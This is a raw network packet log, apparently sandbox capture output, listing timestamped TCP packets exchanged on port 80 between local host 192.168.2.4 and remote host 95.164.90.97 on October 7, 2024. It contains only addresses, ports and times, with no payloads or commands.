Oct 7, 2024 18:43:38.113962889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113971949 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.113972902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113982916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.113993883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114007950 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114028931 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114140987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114151001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114161015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114171982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114180088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114191055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114192009 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114202023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114212036 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114212990 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114222050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114232063 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114238024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114242077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114247084 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114247084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114253044 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114270926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114281893 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114290953 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114293098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114301920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114312887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114314079 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114322901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114334106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114343882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114346027 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114353895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114366055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114376068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114382982 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114384890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114397049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114407063 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114408970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114428997 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114448071 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114470005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114480972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114490986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114500999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114505053 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114511967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114521980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114531994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114533901 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114542007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114552975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114557028 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114563942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114573956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114583969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114594936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114613056 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114613056 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114634991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114639044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114645958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114655018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114665985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114669085 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114675999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114686012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114690065 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114696980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114706993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114717007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114726067 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114727020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114737988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114748001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114758015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114769936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114773035 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114805937 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114919901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114928961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114943027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114953995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114963055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114964962 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.114974022 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114983082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114994049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.114998102 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115004063 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115014076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115022898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115022898 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115036011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115046978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115060091 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115062952 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115070105 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115073919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115083933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115099907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115104914 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115111113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115120888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115130901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115140915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115142107 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115150928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115160942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115170956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115180969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115186930 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115194082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115204096 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115211964 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115214109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115223885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115233898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115240097 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115247011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115256071 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115266085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115274906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115284920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115298986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115309954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115309954 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115309954 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115319014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115329981 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115338087 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115339041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115339041 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115349054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115356922 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115360022 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115370035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115380049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115381956 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115398884 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115411997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115422010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115432024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115432024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115432024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115442991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115452051 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.115466118 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115474939 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115474939 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.115513086 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.151665926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.151679039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.151689053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.151730061 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.151777983 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.151974916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.151984930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.151993990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152009964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152018070 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152019978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152029991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152040005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152045012 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152050018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152060032 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152070045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152079105 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152080059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152090073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152100086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152103901 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152110100 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152120113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152137041 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152144909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152153969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152163029 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152163029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152173996 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152180910 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152183056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152193069 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152200937 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152203083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152214050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152221918 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152224064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152232885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152246952 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152266979 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152276993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152287006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152297020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152307034 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152312040 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152316093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152327061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152334929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152335882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152347088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152355909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152365923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152374029 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152399063 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152532101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152540922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152549982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152559996 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152622938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152803898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152813911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152822018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152832031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152833939 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152842045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152852058 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152852058 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152861118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152872086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152875900 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152880907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152890921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152896881 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152899981 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152909994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152920008 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152920961 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152939081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152947903 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152947903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152957916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152967930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152968884 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.152977943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.152987957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153003931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153006077 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153013945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153023958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153050900 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153069973 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153070927 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153085947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153095007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153104067 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153105021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153115034 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153124094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153134108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153141975 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153143883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153153896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153163910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153172970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153173923 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153183937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153192997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153203011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153203964 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153213024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153227091 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153249979 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153429031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153445005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153455019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153470039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153476954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153485060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153487921 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153491974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153493881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153512955 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153520107 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153521061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153522968 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153527975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153528929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153529882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153532982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153534889 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153537989 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153541088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153570890 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153609037 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153779030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153789997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153800964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153810978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153816938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153820992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153831959 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153851986 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153857946 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153867960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153877974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153882027 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153888941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153899908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153911114 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153915882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153920889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153932095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.153960943 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153980970 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.153995037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.154006004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.154015064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.154025078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.154033899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.154048920 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.154078007 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.154340029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.154391050 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252017021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252106905 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252144098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252157927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252173901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252185106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252196074 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252203941 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252207041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252223969 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252230883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252240896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252248049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252249002 CEST	51632	80	192.168.2.4	95.164.90.97
